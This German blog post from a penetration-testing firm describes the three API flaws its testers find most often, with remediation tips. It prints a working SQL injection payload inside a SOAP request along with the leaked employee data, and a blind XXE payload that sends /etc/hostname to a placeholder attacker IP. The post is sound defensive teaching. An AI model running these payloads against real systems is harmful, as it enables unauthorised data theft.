Unsere Security Analyst*innen im usd HeroLab decken während ihrer Penetrationstests (Pentests) immer wieder Einfallstore auf, die erhebliche Risiken für die Unternehmenssicherheit darstellen. Dabei begegnen ihnen vermehrt die gleichen Schwachstellen. Unsere Blogserie „Top 3 Schwachstellen“ stellt diese dar und gibt Ihnen Tipps für die Vermeidung – für #moresecurity über alle IT-Assets.
Heute betrachten wir die drei häufigsten sicherheitskritischen Schwachstellen, die unsere Analyst*innen bei Penetrationstests von APIs in den vergangenen Jahren identifizieren konnten.
Warum API Pentests?
Die Sicherheit von APIs (Application Programming Interfaces) ist in der heutigen vernetzten Welt von entscheidender Bedeutung. APIs speichern sensible Daten, wie Passwörter oder Kreditkartendaten, und bieten eine Vielzahl an Funktionalitäten. Im Zuge von Pentests finden unsere Security Analyst*innen in den APIs unserer Kunden immer wieder die unterschiedlichsten Schwachstellen. Effektiv können diese ausgenutzt werden, um Authentifizierungsmechanismen zu umgehen, sensible Informationen auszulesen, Datenbankeinträge zu manipulieren und sogar beliebige Systembefehle auf dem Datenbankserver auszuführen. Wir haben unsere Pentests aus den vergangenen Jahren ausgewertet und die Schwachstellen, die wir vermehrt feststellen, für Sie zusammengetragen.
SQL-Injection
In unseren Pentests erhalten wir in der Regel eine API-Dokumentation in Form von Postman, Swagger oder WSDL-Dateien. Solche Dokumentationen listen die verfügbaren Endpunkte auf, sowie erwartete Parameter und Eingaben. Eine Vielzahl an APIs arbeitet mit relationalen Datenbanken, um Daten persistent zu verwalten. Im Backend fließen die erhaltenen Parameterwerte in hierfür verwendete SQL-Abfragen ein. Werden in dynamische SQL-Anfragen Nutzereingaben ungefiltert eingefügt, können Anfälligkeiten für SQL-Injection-Angriffe entstehen.
Durch Anpassung von Parameterwerten können Angreifende so die SQL-Abfragen an die Datenbank beeinflussen. Effektiv kann dies ausgenutzt werden, um Authentifizierungsmechanismen zu umgehen, sensible Informationen auszulesen, Datenbankeinträge zu manipulieren und sogar beliebige Systembefehle auf dem Datenbankserver auszuführen.
Insgesamt trägt die Kombination aus der Komplexität der Eingabevalidierung, den zeitlichen Beschränkungen in den Entwicklungszyklen und dem mangelnden Bewusstsein zum häufigen Auftreten von SQL-Injection-Schwachstellen in Webanwendungen und APIs bei.
Zur Veranschaulichung zeigen wir im Folgenden eine Schwachstelle aus einem vergangenen Pentest. Hier ermöglichte es eine SOAP-API, die E-Mail-Adresse von Mitarbeitern über eine entsprechende Anfrage zu hinterlegen:
POST /Basic/Employee/Employee.svc HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: http:// services.redacted.com/Basic/Employee/IEmployee/GetEmployeeVaccinations
User-Agent: PostmanRuntime/7.31.1
Host: 10.254.160.4:10080
Content-Length: 579
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security soap:mustUnderstand="1" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"/>
</soap:Header>
<soap:Body>
<CertiflyEmployeeGetRequest xmlns="http://services.redacted.com/Basic/Employee">
<CrewIndicatorList/>
<IncludeMedicalData>true</IncludeMedicalData>
<WorkEmailAddress>test@abc.de'</WorkEmailAddress>
</CertiflyEmployeeGetRequest>
</soap:Body>
</soap:Envelope>In obiger Anfrage wurde ein einzelnes Hochkomma in die E-Mail-Adresse eingefügt. Dieses Zeichen wird häufig zum Bau von dynamischen SQL-Anfragen mit Nutzereingaben verwendet. So führte dies bei der geprüften Anwendung zu einem entsprechenden Fehler:
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 07 Mar 2023 14:09:08 GMT
Connection: close
Content-Length: 640
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode>s:001097000001</faultcode><faultstring xml:lang="de-DE">Unknown Error occured</faultstring><detail><SOAFaultException xmlns="http://www.redacted.com/soa/cdm/error" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Code>001097000001</Code><FreeText>Unknown Error occured</FreeText><Responsible>Employee Db Service</Responsible><InnerFaultException><Code i:nil="true"/><FreeText>Unknown Error occured</FreeText><Responsible>Basic.Employee.Implementation</Responsible></InnerFaultException></SOAFaultException></detail></s:Fault></s:Body></s:Envelope>Konkret handelt es sich hierbei um einen Syntaxfehler, da das einzelne Hochkommata die dynamische Anfrage stört. Wird eine gültige Anfrage gestellt, liefert die API hier Daten über den angesprochenen Mitarbeiter zurück. So war es durch Ausnutzen dieser Schwachstelle möglich, den Status jedes Mitarbeiters abzufragen. Zu diesem Zweck kann die initiale Anfrage modifiziert werden:
POST /Basic/Employee/Employee.svc HTTP/1.1
Content-Length: 618
Content-Type: text/xml; charset=utf-8
SOAPAction: http://services.redacted.com/Basic/Employee/IEmployee/GetEmployeeVaccinations
User-Agent: PostmanRuntime/7.31.1
Accept: */*
Postman-Token: 679c119a-5f2e-423c-af6a-df2a5d85c0f9
Host: 10.254.160.4:10080
Accept-Encoding: gzip, deflate
Referer: http://10.254.160.4:10080/Basic/Employee/Employee.svc
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security soap:mustUnderstand="0" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"/>
</soap:Header>
<soap:Body>
<CertiflyEmployeeGetRequest xmlns="http://services.redacted.com/Basic/Employee">
<CrewIndicatorList/>
<IncludeMedicalData>true</IncludeMedicalData>
<WorkEmailAddress>-4666' OR UNICODE(SQUARE(NULL)) IS NULL-- buGR</WorkEmailAddress>
</CertiflyEmployeeGetRequest>
</soap:Body>
</soap:Envelope>Durch die modifizierte Eingabe in der E-Mail-Adresse wird eine positiv ausfallende Bedingung in der SQL-Abfrage gewährleistet. Dies führt dazu, dass alle Einträge der Datenbanktabelle zurück geliefert werden:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 08 Mar 2023 08:40:34 GMT
Connection: close
Content-Length: 10400
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><EmployeeCertifyVaccinationResponse xmlns="http://services.redacted.com/Basic/Employee"><EmployeeVaccinations><EmployeeVaccination> <WorkEmailAddress>john.doe@redacted.com</WorkEmailAddress>
<BirthDate>0001-01-01T00:00:00</BirthDate><LatestDoseDate>0001-01-01T00:00:00</LatestDoseDate><ValidToDate>0001-01-01T00:00:00</ValidToDate><VaccinationStatus>Verified</VaccinationStatus><LatestUpdateDate>2022-02-28T12:27:14</LatestUpdateDate></EmployeeVaccination><EmployeeVaccination><BirthDate>0001-01-01T00:00:00</BirthDate><LatestDoseDate>0001-01-01T00:00:00</LatestDoseDate><ValidToDate>
[...]Über diese SQL-Injection-Schwachstelle war es nicht nur möglich, Daten aus der referenzierten Tabelle auszulesen. Sie ermöglichte das Auslesen der gesamten Datenbank. Zuletzt war es auch möglich, Daten in der Datenbank durch das Einfügen von INSERT-Statements zu verändern.
Sicherheitstipp: Trotz der Bekanntheit von SQL-Injections und ihren Auswirkungen, wird diese Schwachstelle weiterhin regelmäßig in Pentests gefunden. Um dieser Schwachstelle vorzubeugen, sollten Prepared-Statements sowie Validierung von Eingaben verwendet werden.
Security Advisories:
https://herolab.usd.de/security-advisories/usd-2022-0066/
https://herolab.usd.de/security-advisories/usd-2023-0014/
https://herolab.usd.de/security-advisories/usd-2022-0064/
XML External Entity (XXE) Processing
Viele APIs unterstützen XML als Nachrichtenformat. XML bietet die Möglichkeit, auch auf lokale oder externe Entitäten zu verweisen. Zum Einlesen und Verarbeiten der XML-Nachrichten werden XML-Parser verwendet. Je nach Parser und seiner Konfiguration kann dies zu XXE-Schwachstellen (XML External Entity) führen. Angreifende können dies ausnutzen, um Dateien vom verarbeitenden Server auszulesen.
Im Zusammenhang mit einer API entsteht eine XXE-Schwachstelle, wenn XML-Daten als Eingabe vom Benutzer akzeptiert und ohne angemessene Validierung verarbeitet werden. Angreifer können diese Schwachstelle ausnutzen, indem sie bösartige XML-Daten einschleusen, welche Verweise auf externe Entitäten enthalten. Wenn der API-Server solche Nutzdaten verarbeitet, können unbeabsichtigt sensible Informationen aus dem Dateisystem des Servers, wie beispielsweise Konfigurationsdaten oder Passwörter, preisgeben werden. Ein weiteres mögliches Ergebnis eines Angriffs ist eine unbeabsichtigte Interaktion mit externen Systemen.
In einem unserer vergangenen Pentests akzeptierte eine API Daten im XML-Format und war anfällig für eine XXE-Schwachstelle. Dabei konnten externe Entitäten eingebunden werden, um die “/etc/hostname”-Datei auszulesen und an einen von uns kontrollierten externen Server zu übertragen:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM file:///etc/hostname>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://[ATTACKER IP]/?x=%file;'>">
%eval;
%exfiltrate;
<Document xmlns="urn:iso:std:iso:20022:tech:xsd:pain.008.002.02" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:iso:std:iso:20022:tech:xsd:pain.008.002.02 pain.008.002.02.xsd">
<CstmrDrctDbtInitn>
[...]Bei der Verarbeitung der XML-Nachricht durch den die verwendbare Anwendung erfolgt eine Auflösung der eingeschleusten Entitäten. Bei erfolgreicher Verarbeitung sendet der Server an die Adresse des Angreifenden den Hostnamen des betroffenen Servers im HTTP-Parameter ”x” zurück. Dadurch haben wir auf unserem Server eine HTTP-Anfrage erhalten. Der nachfolgende Ausschnitt zeigt die erhaltene HTTP-Anfrage. Der Hostname des Systems beginnt mit “central”. Der volle Hostname wurde unkenntlich gemacht.
Sicherheitstipp: XXE ist eine der bekanntesten Schwachstellen und war 2017 laut der OWASP Top 10 eine der weitverbreitetsten Schwachstellen in Webapplikationen (https://owasp.org/www-project-top-ten/2017/de/A4_2017-XML_External_Entities_(XXE)). Die einfachste und wirkungsvollste Schutzmaßnahme gegen XXE besteht darin, die Verarbeitung von externen Entitäten zu unterbinden.
In der Vergangenheit konnten wir XXE-Schwachstellen in weit verbreiteter Software feststellen und diese an die Hersteller melden.
Security Advisories:
https://herolab.usd.de/security-advisories/usd-2019-0050/
https://herolab.usd.de/security-advisories/usd-2019-0046/
Undocumented Endpoints
Undokumentierte API-Endpunkte stellen ein erhebliches Sicherheitsrisiko dar, da sie Angreifern ungewollt sensible Funktionen oder Daten offenlegen können. Diese Endpunkte sind in der Regel nicht für die öffentliche Nutzung vorgesehen und verfügen möglicherweise nicht über geeignete Authentifizierungs-, Autorisierungs- oder Eingabevalidierungsmechanismen. Entwickler erstellen häufig undokumentierte Endpunkte zu Testzwecken oder für den internen Gebrauch, vergessen aber möglicherweise, diese zu entfernen oder zu sichern, bevor sie die Anwendung in Produktionsumgebungen bereitstellen. Während der Entwicklung werden häufig undokumentierte Endpunkte zu Testzwecken oder für den internen Gebrauch erstellt. Diese können aber schnell übersehen werden und so ungewollt im produktiven Einsatz weiterhin verfügbar sein.
Ein Angreifer könnte beispielsweise Brute-Force-Techniken nutzen, um undokumentierte Endpunkte einer API zu erraten. Sobald diese identifiziert wurden, könnten Angreifer bösartige Anfragen an diese Endpunkte senden, um sensible Daten zu manipulieren oder zu extrahieren, Authentifizierungsmechanismen zu umgehen oder beliebigen Code auf dem Server auszuführen.
Sicherheitstipp: Auf saubere und lückenlose Dokumentation achten. In einem vergangenen Pentest entdeckten wir beispielsweise einen API-Endpunkt, der es ermöglichte, die aktuellen Lagerbestände des Online-Shops ohne Authentifizierung abzurufen. Dieser Endpunkt “/api/Quantitys” war nicht dokumentiert, da dieser nur in der Testumgebung verfügbar sein sollte. Durch einen Fehler wurde er für die Produktionsumgebung nicht abgeschaltet und war somit weiterhin erreichbar.
Fassen wir noch einmal zusammen
Der Schutz von APIs ist im Kontext der Cybersicherheit von Unternehmen von zentraler Bedeutung. Fehlkonfigurationen oder Schwachstellen können weitreichende Folgen haben, die bis hin zum Verlust der Vertraulichkeit, Integrität und Verfügbarkeit von Anwendungs- und Nutzerdaten reichen. Die Behebung von Schwachstellen wie SQL-Injections, XML External Entity (XXE) Processing und undocumented Endpoints ist daher unverzichtbar.
Die Durchführung von Pentests ist eine unserer Kernkompetenzen. Unsere API Penetrationstests sind speziell darauf ausgerichtet, die in diesem Artikel aufgeführten und andere Schwachstellen aufzudecken und zu entschärfen. Fachgerecht ausgeführte Pentests bleiben eines der wichtigsten Tools, die eigene Sicherheit und Widerstandsfähigkeit gegenüber sich entwickelnden Cyber-Bedrohungen zu verbessern. Kontaktieren Sie uns, wir helfen Ihnen gern.
